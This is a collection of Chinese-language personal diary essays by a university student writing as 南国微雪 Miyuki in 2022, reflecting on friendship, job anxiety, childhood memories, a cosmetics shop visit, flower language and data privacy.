　　「状态不好可以理解，觉得自己不够好没这必要吧……而且这么晚了还去打篮球啊……」

　　「哼，就是不安逸。不宣泄一下，情绪郁结容易得病。」

　　「行吧。我也不管你干啥了，十一点半之前回来，不然要被锁外边。」

　　「晓得。」

　　我坐在床上想了一下，做出了一个决定。看了看时间，还来得及，回来还能洗澡。于是跑下楼去。拿着手上的东西，四处逛了逛，最终选定一个地方，给她发消息。

　　「我给你买了一瓶茉莉清茶，放在这个位置。待会儿回来自己拿。超市旁边，女生宿舍那道玻璃门右边的下面。给你买的常温的，冷的对胃不好。您慢慢发泄，我溜了。」

　　发完还拍了两张图，指明了一下位置在哪。顺便还特意回复了一下她那句“不安逸”：给你送的小礼物。

　　我觉得，算是平等吧。她这样善意地对待我，我也应该做出些举动才对。并非出于礼尚往来，真心这样觉得。

　　木头了好一会儿才想出这个点子。

　　「行，等会儿去拿，明天喝。」

　　我的公众号，她也知道。因为不知道买什么饮料，就顺手拿了一瓶茉莉清茶。但愿她不会因茉莉清茶在文章中的含义而想多。

　　该死的，《茉莉清茶》还在里面是两篇置顶的其中之一。

　　正写日记的时候，手机震动。

　　「拿到了。」

　　「行，早点睡觉。」

　　「你也是。」

　　「晚安，好梦。」

　　「晚安。」

　　我看向窗外，繁星点点。


　　南国微雪 Miyuki

　　2022 年 11 月 6 日

随记 - 2022 年 10 月 11 日

封面图

摄影师 | Georgia de Lotz

图源 | Unsplash

写在前面

631 字 | 舞蹈相关

正文

　　前两天将一个很崇拜的画师的方法论文章下了下来。那个号名字中，有“CG 艺术实验室”的字样。

　　当时觉得没什么，后面觉得有些奇怪。

　　如果说，有绘画类的艺术实验室，为什么没有舞蹈和音乐类的实验室呢？后两者听起来总有一丝怪味，但绘画艺术实验室听起来便合情合理。

　　三大艺术领域在这件小事情上如此失衡，属实是不应该。不过大约也和人没有想过有关吧。

　　音乐不甚了解，只了解舞蹈的一小部分。

　　那之后，便开始畅想着，舞蹈实验室，应该是怎样一个样子：

　　Google 有一个 20% 原则：人们可以在工作中花 20% 的时间，研究自己喜欢的事情。很多著名的产品都是这 20% 的产物。

　　舞蹈实验室，大概也应该是这样一个场所。没有嘲笑，没有战斗，有的是交流，鼓励，研究和发现。

　　实验室在我心目中一直有着探索未知的含义。而舞蹈的实验室，我想，最终的目的大约也只有两个：一是发现身体的未知，二来，与自己的灵魂沟通。

　　如果我要建立一个舞蹈实验室，后者，是最重要的。

　　眼睛是心灵的窗户，而肢体，是沟通和表达情绪最直接的方式。用肢体表达自我，带入所有情绪，这才是舞蹈存在的意义。

　　所以，与其说是舞蹈实验室，大概更应该称为自我实验室，用着舞蹈的形式。

　　舞者圈有一句很出名的话，说， 跳舞的人都是一群很纯粹的孩子 。艺术领域都是这样的吧大概，通过人类所发现的艺术形式，与自己达成和解。

　　舞蹈实验室，音乐实验室与绘画实验室，现在一看，或许都没有那么奇怪。

　　愿艺术之光熠熠生辉。愿舞蹈之魂经久不息。


　　南国微雪 Miyuki

　　2022 年 10 月 11 日

随记 - 2022 年 9 月 26 日

封面图

摄影师 | Michael Kucharski

图源 | Unsplash

写在前面

1149 字 | 幼年记忆

正文

　　跳海和我说，他决定好了，过个一年半载，最多四年，出国。我挺意外他还要这么久时间准备。

　　他很早就跟我说，现在国内工作不好找，想签旅游签去澳大利亚打工。他也一直怂恿我去澳洲。我直接对他说，我家大概不行。他说，其实他也有一点牵挂的事情没解决。

　　他准备去爱尔兰读书，但是又准备在澳洲打工。我着实有些迷糊。

　　不过平心而论，他大约也算是找到了路吧。

　　身边的朋友们，两个保研，一个研支团，四五个研考，两三个工作，一个公考，而这一个，出国。大约都已经寻到了方向。

　　我时常说我找不到方向，今年也确实众生皆苦。不过，在这种环境中也才能看见成长吧。

　　而成长，便是这次的主题。

　　很多时候，成长要通过当前的核心事情才能看出来。以前是“学习”，而现在，是“工作”。

　　对于工作，我很多时候，内心是恐惧的。

　　早些年，尚懵懂，城里还有张贴布告栏，在一座门下。那门远不及凯旋门大，但似乎能看出些红军的遗迹。

　　母亲拉着我的手，对着布告栏上的招聘，一个一个打电话。门附近人流量很大，母亲怕我走散。

　　那时候鲜能进县城，于是幼年的我，不住地打量这个地方，目光满是好奇。

　　时至今日，我仍能记得，蓝天包裹下，门洞里板栗小贩的叫卖声，和母亲不时的叹息。

　　“妈妈，你在干什么呀？打电话打那么久……”

　　“妈妈在和人聊天呀，还在认字，”母亲用手指着“招聘”的“聘”字问我，“知道这个字念什么吗？”

　　我摇摇头。

　　这大概是我对“工作”这一概念的第一印象。

　　终于，成长到现在，那声叹息，跨越十多年，降临到了我身上。

　　我不知道与那时候相比，母亲有没有成长，我只知道，母亲确乎是变老了；我也不知道与那时候相比，我有没有成长，我只知道，我的确是长大而成年了。

　　工作能力的成长，我毫无感觉，而感情上，我却可以下个定论了。

　　我再也不是以前的那个自己了。那个在车站看到前任同款书包和相似背影后，开始心脏狂跳的男生。

　　昨天中午，餐桌对面坐了一个八分像她的女生，然而彼时内心已毫无波澜。

　　大概，能算作是成长吧，如《再次仰望星空》里面的父亲一样。

　　有些东西，或许需要猛然间的顿悟。

　　最近常过的通道忽然将一部分楼梯抹平，用水泥砌成一个斜坡，呈半楼梯半斜坡的诡异样式。并且只有一栋宿舍楼这样做。

　　学校多雨，水泥上方甚至还有架有塑料篷布挡雨。体积瞬间增大一倍。我们都很不能理解此举出于什么目的。

　　直到我再次看见他。我终于明白，那个斜坡是为他专门做的。

　　我不认识他，但他是那栋宿舍楼里唯一的残障人士，出去吃饭上课都要坐轮椅。虽说住一楼，但每次都要请求路人，将他抬下一楼和大道中间的两级台阶。

　　他们仍然迷惑，但不久便不再过问。我最终还是没说出来这个可能的理由。

　　平时走在路上不想让他受到压力，很多时候都不去看他。这次，我也不想说。

　　学校在成长。我想。

　　我肯定也在成长。我默念道。


　　南国微雪 Miyuki

　　2022 年 9 月 26 日

随记 - 2022 年 9 月 18 日

封面图

摄影师 | Josefa nDiaz

图源 | Unsplash

写在前面

1370 字

每则随记都蕴含一个特定的主题，而这次的核心是工作。这则随记权作是我近些时间，忧虑与安静作用下的涂涂画画吧。

正文

　　许久不记，总没有由来地想写些什么。

　　步入大四，明显感觉许多不同。宿舍楼梯间，总能隔三差五听到同级生与家里人的对话：几乎总是牵扯到压力、焦虑、研考、缩招、简历和招聘。

　　或许也是到了这个时间段了吧。


　　社团，大三组，三个人。同专业憨憨的一个 B-Boy，舞室里很少看到他人影了。大姐大，荣，频率也远不比以前。

　　他们在群里说自己的近况。

　　荣海投一百份，收到两个电话。而那个同专业生，每天缩减自己的睡眠时间。我时常在路上碰到他，他总是笑着打声招呼，我也总是问那个问题。

　　“去哪儿啊？”

　　吃饭，图书馆。我只听到过这两个答案。

　　荣有时半夜发一条消息，说她睡不着。早晨起来看，时间戳是凌晨四点半。

　　昨夜坐一学弟的电驴去舞室，我望着他的后背，听他说他听到的事情。

　　“我不是加了个志愿者群吗？”

　　“嗯，然后呢？”

　　“最近看他们天天骂，学院和学校的推免方案天天改。说，四六级免修的成绩刚开始还算，后面就不算了。群里一天能有一千多条消息。”

　　“是，学校这次做得确实不对。”

　　今年推免，在公示期前一周改方案和标准，从白盒变成黑盒。

　　“我在想至于吗……”

　　“嗯……”

　　我心里苦笑一下，可能真的挺至于的。虽然我不属于这批人，但能想象到那种感受。成功与否，关系到自己会不会陷入一个巨大的研考竞争漩涡。

　　我不属于他们，但也不知道自己属于哪批人。


　　近些天一直在玩。知道现在这个时间对于毕业生来说，是极为宝贵的招聘时间，但是依旧在玩。

　　或许是被时间追着跑太累了吧，现在想反抗一下，证明不这样做也能活下去。我不知道这个决定叫做勇敢还是脑袋抽疯，姑且这样决定了。

　　室友在昨天聊到一个亲戚，说他父亲生病回来了，都没能出一分钱。而那人去年刚买了一套房子，临近成都中心城区。

　　这事，室友从奶奶口中得知。奶奶觉得那人不孝顺，而室友想了想，觉得他可能是真的拿不出钱来，虽说事情做得也不对。而我，却是觉得被生活逼着走有些悲凉。

　　室友说，他亲戚有个孩子，快中学了。成都的政策规定，如果要继续上学，必须在本地有一套房，并且居住一段时间。

　　我想无论是谁，都能看出来经济危机即将来临。但是没有办法。

　　彼时我和他正吃饭，双双叹息。


　　前段时间，荣的一个朋友手机坏了，让我帮忙。而我至今仍在惋惜没能完成这个任务。一个工程师不能解决问题，于己而言算作失职。

　　若仅仅如此，可能不至于让我如此愧疚。耿耿于怀之处，在于那位朋友是一个画师。而未完成的作品，大部分都存在她的手机里。

　　“我之前不是给你说我们宿舍有一个人画画很厉害吗，在接商插。”

　　“嗯，好像是。怎么了？”

　　“就她。”

　　她朋友还没到的路上，荣对我这样说。

　　曾经尝试过一些绘画，知道一张图背后需要极其多的努力。平涂还好，厚涂作画至少一周。起型，黑白分阶，高光，阴影，再分阶细化，辅以不时修正和突然冒出的灵感。一瞬间的入眼，背后蕴藏的是不停的昼夜。

　　我觉得依靠画作生存的人，都很厉害。我后来曾想问她是否是一个 Concept Artist，但究竟作罢。

　　我不敢问。

　　同样想过因为一些事情向她道歉，然后说上一句：“你真的很厉害。”

　　我不知道还有没有机会，遇见这样的人。


　　工作只是生活的一部分。

　　WORK and LIFE balance.

　　仕事は生活の一部だけです。

　　Le travail n'est qu'une partie de la vie.


　　南国微雪 Miyuki

　　2022 年 9 月 18 日

写在后面

　　望诸位工作顺利，生活胜意。Be live and not survive.

随记 - 2022 年 7 月 21 日

封面图

摄影师 | Editors Keys

图源 | Unsplash

写在前面

1167 字 | 心绪强烈

正文

　　前阵子和珍聊天，她忽然中途打断我，说：“稍等一下，给你看个聊天背景。”

　　然后她发来一张 QQ 截图，是与我的聊天界面。那背景是我二十一岁生日，被社团一群心狠手辣之人涂得一脸惨状的照片。本来是张合照，她专门截了我的位置，图上还能看到我的剪刀手。

　　“你放过我吧……”

　　“别啊，多好看啊。”

　　“满脸奶油好看啥啊……”

　　“不是啊，真的挺好看的。”

　　“话说这个能给人单独定聊天背景吗？”

　　“能啊，你不知道吗？”

　　“我今天才知道……”

　　“那还挺可惜的，我给熟一点的人设置了。”

　　我忽然愣了一下。

　　第一次从她口中听说这件事。 冥冥之中忽然有种肯定和确认了的感觉。 而那天之前，我们有很长一段时间都没有聊天。时间长达几个月。

　　原来友谊，能做到这么长时间不交流，也依然不会消褪这种事情啊。有些庆幸。

　　这种感觉很让人安心。不必担心会有什么保质期这种东西，像酒一样，放着就好了。只要在那里，就很安稳。

　　我很喜欢这种感觉。或许是因为自幼缺乏吧。

　　我最安稳的时光是我谈恋爱的时候。“可以不用回头，背后一定有人在”的感觉，真的，非常，非常让人安心。

　　其次是另一段奇怪的经历。学校邀请我们表演，安排我们住进招待所。晚上集合，所以下午有大把的时间可以闲逛，浪费。

　　那时候一同的朋友很疲惫，于是拉上窗帘，关上门，盖上被子，整个屋子里很黑暗，就像晚上一样，没有丝毫光亮。只能听到空调的嗡嗡声和朋友若有若无的呼吸声。

　　我去给一些重要的网友寄信。正中午，很热，晒得人头晕眼花。回来，踏进房间，一股透心的凉意，和一片全黑的环境，直挠人心。

　　这里是属于你的地方。

　　离那个时间点还很远，就算睡一觉也来得及。不必着急，时间，我们有的是。

　　于是你躺下，任由梦境将你带走。

　　意识朦胧之间，依旧是朋友平缓的呼吸声，和空调的嗡嗡声。

　　感受到的，尽是安稳。

　　现在怎样才能产生这种珍贵的感受，我不知道。或许，只能等它自己降临。

　　不过，有一个能无话不说的好朋友就已经是幸事了。有时，他也能让我感到安心。

　　某一天晚上停电，碰巧他手机坏了，我便让他拿我平板玩。于是给他说了密码。

　　“为什么你要设这个密码……”

　　“嗯……”我沉默了一下，“因为那是高中对我最重要的一个女生的九宫格数字缩写。”

　　“哦，”他沉默了一下，开始大笑，“看来你小子情史还不少。”

　　也不过问。 我也懒得反驳。

　　“你呢？为啥要取 38324？”

　　“嗯？你忘啦？”

　　“啥啊？”

　　“铜和稀硝酸啊，我永远都记得这个数字。”

　　我笑出了声：“可是这也才五位啊，剩下那一位呢？”

　　“剩下那位随便加的，有时候我自己都忘了哪个是哪位，还要忘记密码手机验证。”

　　“你这不跟没有稀硝酸差不多吗……反正都要手机验证。”

　　“哎呀，再说再说。”

　　我想，目前日渐焦虑的自己，或许，更应该珍惜这为数不多的源头，而不是永无止境地渴求更多。

　　每逢此题，自诩满腹经纶，却起笔撕页。

　　掷笔三叹，再无他言。


　　南国微雪 Miyuki

　　2022 年 7 月 24 日

随记 - 2022 年 7 月 13 日

封面图

摄影师 | lubovlisitsa

图源 | Pixabay

写在前面

1806 字 | 心绪强烈 | 性别话题注意

正文

　　每篇随记，我都会或多或少，或显或隐地聊到某一个特定的主题，而这次，是化妆品。

　　更宏观一点来讲，可能是整个女性用品。

　　七月十三日，我陪室友去修手机屏幕，辗转几家店，虽然一直在赶路，但我也权当是逛街了，看看周围的招牌，倒是别有一番趣味。

　　回来路过一家店。外面，摆满一排箩筐，里面放着促销产品。箩筐上插着牌子，价格数字写得很大：牙刷一块一根；一打手帕纸一块九；垃圾袋三块一卷……

　　开始看到垃圾袋，想着要不要添置，停下来。斯看我停了脚，便也开始注意。于是两人都被这价格所惊奇。

　　惊奇又惊喜。

　　天很热，店里散来空调的凉意，伴随来的，还有店员的确认声。

　　“是的，真的只要一块九。”

　　斯确认了一下，大概是不太敢相信吧。

　　于是我们踏入店内。

　　这店，实实在在的，是我一年之前，不会敢进的店。说实话，这次仍有些胆怯，但相对来讲没有那么唐突。

　　化妆品店。

　　里面摆满了各种瓶瓶罐罐。浅色系，各种大小不一，或英文或法文的产品抢占人的眼睛。

　　还好，这家店气息没有那么浓。 女性气息太过浓烈，可能我真的会忍不住逃跑。


　　大二。2021 年 1 月 22 日。

　　我被珂强行拉进一家化妆品店。万达里面，占地面积很大很大的一家化妆品店。

　　人影稀疏，地板亮得能反出衣服上的拉链。星星点点的人们，全是女性。

　　“不了不了，我真不进去……”

　　“来嘛来嘛，这有什么，别跑啊……”

　　她大笑着，拽着我的衣服拉我进去。笑得像个恶魔。

　　

　　我们在里面看了很多奇奇怪怪的产品。

　　眼影盒，盖子透明，装有液体，还像沙盘一样散着许多蓝色星星和绿色的细小沙粒。很像小时候玩的那种水橡圈机。

　　珂笑着对我说，这个眼影盒真好看，真的巨好看，但是她绝对不会买。

　　很奇怪不是吗？

　　粉底液，瓶身一反常态的，没有任何文字。信息全部堆在瓶底。

　　她表示没看过这种瓶子，也很诧异。

　　口红，很多品牌。还有一些其他的如乳液，定妆液一样的东西。

　　她还指着两款红色，问我分辨得出来吗？

　　我一脸茫然。她大笑，说她也认不出来。

　　那个时候，我还没有做色感训练。

　　我印象最为深刻的，是她指着一墙瀑布一样，色彩缤纷的小物体，说：

　　“猜猜那个是什么？”

　　

　　那时候说这话时，她也仍然笑着，两个眼睛眯起来，像看一无所知的小孩子似的看着我。

　　“不知道。”

　　“那是美妆蛋啊，这个都不知道吗？”

　　我有点欲哭无泪。

　　对于中途这趟意外，我一无所知。

　　也是那时候开始，我才意识到，我的女性知识，有多么匮乏。

　　最大的收获，可能就是意识到这一点。而代价就是：身为一个男孩子，站在那种地方，真的很害羞，手足无措，非常想逃跑。

　　逃跑的意图太过明显，以至于她险些采取措施。

　　如果需要对这趟，永不能磨灭的化妆品店之旅，总结两个关键词，我想，只能是觉醒与羞耻。


　　而今天，还好，在能接受范围之内。

　　结账，意欲出去，路过一个架子，忽然停下来。上面写着：防晒霜。

　　防晒霜可能是我最喜欢的一类化妆品了，大概因为它并不那样排斥男性在外吧，我们也可以使用。

　　我也只是稍作停留，随后便绝尘而去。

　　“为什么你要看防晒霜？”斯问了我同样的问题。

　　“没什么，只是有些感兴趣。”

　　“你要买的话，也只能买男性专用的呀。”

　　这个确实。归根到底还是分开的。不过终究，排斥还是要浅一点的。

　　出门，往后看了看。很普通的一家化妆品店。店名甚至都被大脑扔进了非必要信息里。头顶是太阳。店外依旧摆着满满几大箩筐的促销商品，价格便宜得让人吃惊。

　　我想我在那一瞬间发现了生活的美好。


　　时至今日，我仍然胆怯进入这些店里。

　　并且，如果气息如果太过浓烈，我想我依旧会忍不住害羞逃跑。

　　但我在尝试着去理解那个遥远的女性世界。

　　一年之前，我是不会这样做的。面对满目琳琅，胭脂洪泛的化妆品，入口完全紧紧闭塞，颇似惊慌的小孩子，跑进家门，用力抵住门口。

　　一年之后，我尝试打开门闩，放那些让自己害羞到害怕的气息进来，努力接受。

　　有人曾经问我，为什么要学化妆品相关的知识。我说，我想学会之后用在女朋友身上，免得她被骗，或者忙的时候，我也能帮上忙。

　　如果我真能找到女朋友的话。

　　一年之内，心态为什么发生了这么大的变化。我想，可能仅仅只是因为，我想了解那个世界吧。

　　在两个人争吵的时候，知道对方可能会因为这方面的什么而生气，也知道在这方面，怎么才能让对方开心。拥有一种不桎梏于男孩子的全新视野。

　　虽然我知道，我可能永远不能完全理解那个世界。但我想，这应是我朝着一个合格的男朋友这条路上，迈出的，必要而坚实的一步。


　　南国微雪 Miyuki

　　2022 年 7 月 15 日

写在后面

　　文字为文学艺术加工，如果有与图片不符的地方，以图为准。

　　

随记 - 2022 年 7 月 7 日

封面图

摄影师 | mostafa_meraji

图源 | Pixabay

写在前面

855 字 | 心绪强烈

正文

　　“那时候，我的梦想就是，到我 30 岁的时候，能够想躺平就躺平。”

　　我从镜子里看着他的脸。没有表情，不知道在想些什么。


　　前两天理发。老板比较熟，恰巧店里也只有他和我两个人，于是闲聊起来。

　　无非是些放假没有，回不回家之类的话题。顺藤摸瓜，聊到了工作。

　　我说，技术更新迭代太快，搞得人很累，不如理发，一门手艺用一辈子，有些想躺平了。

　　一边看着他用食指和中指并拢头发，一边听他说。

　　“我也想躺平，可是这上有老下有小的，怎么躺啊，躺不得……老的 70 岁，小的 5 岁，都是花钱的时候。”

　　“5 岁啊……那确实挺花钱的。”

　　“原来我 27 岁的时候，开了 5 家分店。”

　　我看向他的脸。他的手上正在并拢我的下一束头发。

　　“那时候，我的梦想就是，到我 30 岁的时候，能够想躺平就躺平。”

　　我从镜子里看着他的脸。没有表情，不知道在想些什么。

　　“五家啊，那已经很厉害了啊……”

　　“那时候确实，不过后来……”他顿了一下，有那么一两秒钟的沉默，接着说，“后来不是失败了吗。”

　　说完他轻轻地笑了一声。

　　一缕剪下来的发丝刚好飘到睫毛上，散了我的视线。没能看清他的表情。

　　“也确实躺平了。那年之后，在家躺了三年。到 30 岁才把心态调整好，重新开业。”

　　我沉默了许久，不知怎么接这话头。

　　“调整过来了就是好事。心态炸了那就真的完了。”最后，我说。

　　“不然你也就看不到我了啊。”

　　他又笑了。笑里语气与上次截然不同。

　　“来，再给你洗一下。”

　　“行。不过这天真热啊，亏你还能在店里待这么久。”

　　“这不是有空调吗。一个月电费都跑好几百。”


　　这是我认识的普通人。

　　以前聊天就知道他故事很多。16 岁踏入社会工作。干过服务员，做过旅行社，也北漂过，最终才学了门理发的手艺。

　　直到今天，他才无意向我透露他曾经的辉煌。

　　我在手机里敲下这些字。也不知道自己在想些什么。

　　三年。

　　以我现在的节奏，三年能做很多事情了。躺三年，与这种节奏持续三年，差距大概会非常大。

　　但我在想，在精神与心态上的差距，会不会比这更大？

　　是时候，重新读一读那首诗了。


　　南国微雪 Miyuki

　　2022 年 7 月 7 日

随记 - 2022 年 6 月 14 日

正文

　　这一页是之前多翻了一页，粘在一起没发现，没想到救了命（笑。我不知道那个店家什么情况，还没发货……

　　今天最重要的可能就一件事吧。

　　下午算法实验，一直在干活，所以没太注意，然后签到的时候，我才注意到，紫今天的穿着风格跟以往很不一样，给人以眼前一亮的感觉。黑 T，盘头，JK 格裙。裙子紫色的，不知道是不是因为名字带紫，所以对紫色有些钟爱。 我还觉得挺漂亮的，真心这样想。

　　后面签完到其实可以走了，我把剩下的工作做得差不多了，忽然想到了她。然后想到了以前偶而尔想过几次的那个问题：如果我说出来，对方会不会比较开心？

　　这样想着，决定去给她说。她刚走没多久，我在后边戏谑着她的绰号，一边追上她。她在楼梯上险些没站稳（笑。

　　“怎么了？”

　　“没什么，追上来就想夸一下你。”

　　“夸啥？”

　　“你今天还挺好看的。”

　　她很明显地露出了吃惊的表情，但我没管，仍继续说着。

　　“我是这样想的，然后感觉说出来你会比较开心，就这么说了。所以，感觉怎么样？”

　　我看向她。

　　“当然开心啦。”她笑了一下，还比了个剪刀手。我也笑了。

　　我知道这么做可能有些奇怪，但和正面效应一比大约就无所谓了。我和她的关系说说这些应该也没什么，不会引起警惕。

　　女孩子大概都喜欢被夸漂亮吧 ，我这样想着。

　　后面在 tg 上碎碎念，有人说我后面说毁了，应该说：“脑袋里这么想的，不小心就说出来了。“

　　我觉得好假，而且味道就变了。虽说我的说法也有问题，像是故意讨她开心似的，但感觉更真诚一点，也更符合我的初衷。

　　以前也做过类似的事，也有被这样对待过的经历，比如梦到我了，跑来和我说，我确实挺开心的。

　　看过一句话，说，人们对于黑暗会大声反驳斥责，对于美好却几乎总是默默欣赏，沉默不语，但这样别人根本就不知道。 知情天平早已倾斜不堪。

　　觉得有道理，有时候便留了一些心。我想，这样起码不会后悔吧。

　　余下的，就只是，上课，复习和工作了。


　　南国微雪 Miyuki

　　2022 年 6 月 14 日

写在后面

　　本想作为纯日记发布，但因只记叙了一件核心事件，并随之表达了一些想法，与写作随记时体系结构类似，便以日记兼随记形式放出，一并收集在随记标签里。

　　诸位如不觉得文中想法奇怪，也可稍做尝试，我想，定有收获。

　　最后碎碎念一句：为什么没有人说我帅气……哭了……

随记 - 2022 年 6 月 3 日

封面图

摄影师 | Anna Romanova

图源 | Pexels

正文

　　这则随记前两天就应该出来的，过于忙碌而一直没有静心写下来。

　　终于能坐在电脑面前，把前两天那些让人思绪万千的事情化为文字。


　　约莫三天以前，去食堂吃午饭，有一个乐手联盟的表演。约是正午，人挺多，围成一圈，看着里面各个乐手蓄势待发。

　　我其实挺喜欢音乐，原曾也想学点乐器，究竟作罢。所以对于这些能在音乐之路上坚持下去的人，一直满怀敬意。

　　我没有成为那些围成圈看着他们的人。我还有事情要去做。

　　伴着那些乐手敲击拨弦的练习声，我背向他们，也背向太阳，朝着目的地进发。我以为这个情景会融进我的日常生活，最终随万千琐碎细枝末节消失在记忆长河中。

　　直到我听见一声呐喊。

　　“1，2，3！”

　　不知是不是主唱喊出的预备声。

　　我至今仍然不知道怎么形容那声呐喊。有力，却不过于铿锵，像是满怀着所有的信念往前走，指挥着所有的人，打一场背水之战。

　　一个胸怀自信的指挥官，确实能非常振奋人心。

　　呐喊之前，悠哉游哉，嬉笑怒骂。

　　呐喊之后，势如破竹，万箭齐发。

　　前后落差如此巨大，让人不禁心神一晃，空空地怔那么一瞬间。

　　我忍不住回过头，只能看见外面水泄不通的人群，除此之外，还有头顶那明晃晃的、炽橙热烈的太阳。

　　我忽然明白了什么。


　　下一幕，是因为一些事情去校外，路上所见。

　　过马路，在斑马线一旁，看见一个中年男性，约莫三四十岁，手里抱着一捧花，笑得灿烂。捧花很大，湖绿色沙漏状上大下小的包装纸，约占了那个男人一整个胸腔，外加一个脖子。巨大如此，让我忍不住好奇这束花将要送抵的人。

　　那个人，想必对这个男性而言，无比重要。

　　我想起自己身后那些，支撑和注视着我一步步往前走的，重要的人们。

　　我忽然笑了。

　　我对花没有什么太大的执念与爱好，甚至连许多花儿都认不出来，但是却很喜欢花语这种东西。我觉得花语，一旦被用到，就代表送花之人最为纯洁与美好的愿景。花之于花语，我一直认为，就是现象之于本质。

　　当你一旦知道了，送花之人将他/她所有的思念都寄托在花语上，从万千之中挑选了这种最能代表心境的花。当你一旦领会了，他/她送花背后实际想表达的思绪，我想，没有人能无视。

　　而这一切，都发生在静默之中。只通过一束花，就将两人的心思连接起来。

　　我很喜欢这种“心有灵犀一点通”的形式。

　　红玫瑰，真心而热烈的爱；

　　黄玫瑰，为爱道歉，祈求重要之人的原谅；

　　狗尾草，天真遇上单纯；

　　蒲公英，开朗并随风而动，表述着那停不了的、永不止息的爱；

　　雏菊，幸福而和平，因为黄色靠近暖极，又会给人以热烈和愉快的感觉，给人以希望；

　　……

　　我曾记得高考完的头一两天，我发疯似的抄下了七八页的花语。因为我相信以后肯定能够用到，而且我也很喜欢。

　　虽说直到最后我都只记下了一些，简单又常见的花儿们背后的含义（笑。

　　所幸，我没有感觉错。

　　在那形形色色的花语中，印象尤为深的花语，属于黑玫瑰。

　　她背后的含义，让我初次看见时，心神为之一颤。

　　「你是恶魔，且为我所有。」

　　那时我忍不住在想：如果一个男孩子，怀着这种心意，送了他深念的女孩子这样一种花。女孩子觉得奇怪又好奇，查了它的花语，会不会脸上发烫，以至于需要扑到床上躲起来？

　　想着这些乱七八糟的东西，目送着那个男性骑着车远去。

　　当即脑海里出现了这样一种想法：今天，这个城市里，大约会多出两个开心的人吧。


　　当办完事情，回头看了一下街景，发现自己随着高德地图，绕了很远一截路。

　　路痴之至，让自己都忍不住弹自己的脑门。


　　本想再写一些关于社团里那些笨蛋。但是行文之中思绪万千，俨然已经无法止住，就只能等以后再诉之笔墨了。

　　稍作整理，只表达一句话： 我很羡慕你们，你们之中诞生多少故事与奇迹我也丝毫不会意外，我很庆幸能成为其中一员，我也从未后悔过。


　　南国微雪 Miyuki

　　2022 年 6 月 3 日

随记 - 2022 年 5 月 25 日

封面图

图片制作 | 南国微雪 Miyuki

图源 | 未知

正文

　　昨天中午做了一个很大胆的举动。

　　中午，饭吃得比较晚，一个人，戴着口罩。然后有人过来推销 app。美团优选，快手，京东旗下什么产品之类的。

　　我很反感这种行为，以前也碰到过几次。专挑一个人吃饭的人下手。这就更反感了。

　　有时候和朋友一起，竟也能找上门来。

　　毕竟本身学计算机，知道这背后会发生什么，不止注册一个账号这么简单。可能数据会被拿去销售或者分析。糟糕一点，进社工库。花个几百块能查到所有信息，直接定位到家庭地址。

　　这种黑盒其实还蛮讨人厌的，你不知道所谓的互联网巨头会在背后偷偷搞些什么。

　　滴滴都险些出售国家公共交通道路数据，因为想要上市。而且据说滴滴是第一个以《国家安全法》名义进行审查的公司。

　　当然不知是真是假，茶余饭后之谈而已，并且是旧闻了。

　　国家数据尚能出售，用户数据，大概更不关心。

　　能保护好自己的，永远只能是自己。

　　扯远了。

　　我向来都是，冷漠着手一挥，让这些人走开。有些还挺“执着”，我便再看一眼，然后不再搭理。

　　吃完饭，看见他找上了两个女生。然后有一个人已经拿出手机了。我就大概知道什么情况了。

　　虽然是傲慢的臆测，但大概又是一个不懂得拒绝的孩子。

　　那人坐到那孩子旁边，在交流些什么。大概是她的朋友罢，坐在她对面。

　　我把口罩往上一拉，迅速走到她朋友的旁边，小声说了只一句话：

　　「以后不要理他们。」

　　我很确定推销那人听不到，因为四个人呈平行四边形站位，我和他最远。

　　说完便走了。没有回头。

　　我不知道她有没有被吓到，也不知道她听没听清楚、听没听进去，更不知道她会怎么看这件事、怎么看我。

　　我只是涌起了这样做的冲动和心情，便这样做了。就像我想把这件小事花时间写下来一样。

　　至于为什么想这么做，我不清楚。

　　我知道会触犯某些人的利益。

　　但我还是想这么做。

　　无所谓道不道德，背后被人骂都有可能，但我确实是希望别人能少进入众多的黑盒里。

　　现在，所有的 app 都希望抢占你的时间。

　　父亲在门口安的监控，其远程控制软件里都有新闻推送和短视频播放功能。

　　但我们的时间更应该拿去做更多的事情。比如学习，比如休息，比如工作。


　　少注册账号，不止拯救你的数据，也拯救你的时间。

　　毕竟，你也不知道注销账号时，你的数据是真的从数据库里消失的物理删除，还是被打上了「已注销」的逻辑删除。


　　南国微雪 Miyuki

　　2022 年 5 月 25 日

随记 - 2022 年 5 月 2 日

　　我发现很多时候，对我来讲，事情都是凑一堆的。

　　前些天发生了一些事情，具体过程略过，两个不同的人，分别给了我差不多的评价。我相信他们没有事先交流过。

　　一个说我现在表现得很成熟，一个说我好像比较靠谱。

　　我其实挺意外。

　　我记得我在许久之前曾经对一些人说过，我认为变成熟不是一件好事情，起码对我而言是如此。我希望自己仍然幼稚而天真，不至失去许多东西。

　　但是如今得到了这种评价，我搞不清楚。

　　成熟的评价体系，或者定义标准是什么？这个说起来可能又是一个哲学问题，和自由，道德，正义等等一样很难说清和量化。

　　我一直在按着自己的行为准则去做。以前我认为这准则很幼稚，很适合我，大概不会让我失去我所珍贵的东西。

　　比如承诺，比如温和，比如幽默，比如情绪，还有友谊等等。

　　时过境迁，标准依旧，评价却完全不同。

　　是我对标准本身内涵的理解发生了改变？还是说，我执行的方式更改了？

　　我今天忽然想到这个问题。

　　说实话，我先后收到这两个评价的时候，我不知道怎么去回答。

　　一方面觉得有些开心，一方面又觉得有些心情复杂。

　　心情复杂大抵已经说过了，而开心，则是确实自己有一天也成为了别人的信赖和依靠。

　　从前，都是自己属于依赖和和渴求的那一方。

　　所以，约莫是一件好事情吧。

　　成熟似乎也不错。

　　变得有些，像个男子汉了呢（笑。


　　南国微雪 Miyuki

　　2022 年 5 月 2 日

随记 - 2022 年 4 月 3 日

　　前阵子送一个好朋友生日礼物。冥思苦想了许久，最后还是送了两个看起来比较老套的礼物。随后写了点我送这两个东西的原因。

　　以前随便做的无聊之事，在某一瞬间，似乎真的起到了作用。

　　高考结束后，我花了很多时间，很多精力，在我的纸质笔记本上记录下了整页整页的花语。我个人对花没什么特别钟爱之处，然而我却觉得，花语很美好。

　　花语，在英语中译作 The Language of Flowers。而 Language，只有宏观的语言语系才能有这种说法。但因花语自诞生以来，流传之小众，颇有被视为贵族趣味的危险。花语美好就在于，它和人们约定俗成的道德，规定一致，但又不绑架每一个人去执行，只是单纯地表达一个人的想法和意愿。

　　有时候，我很想挽救它们，但是本人其实也不太精通。不过我想，只要能让更多的人知晓，大约也不失为一份贡献。

　　我挑选的礼物上，有一朵小小的雏菊。

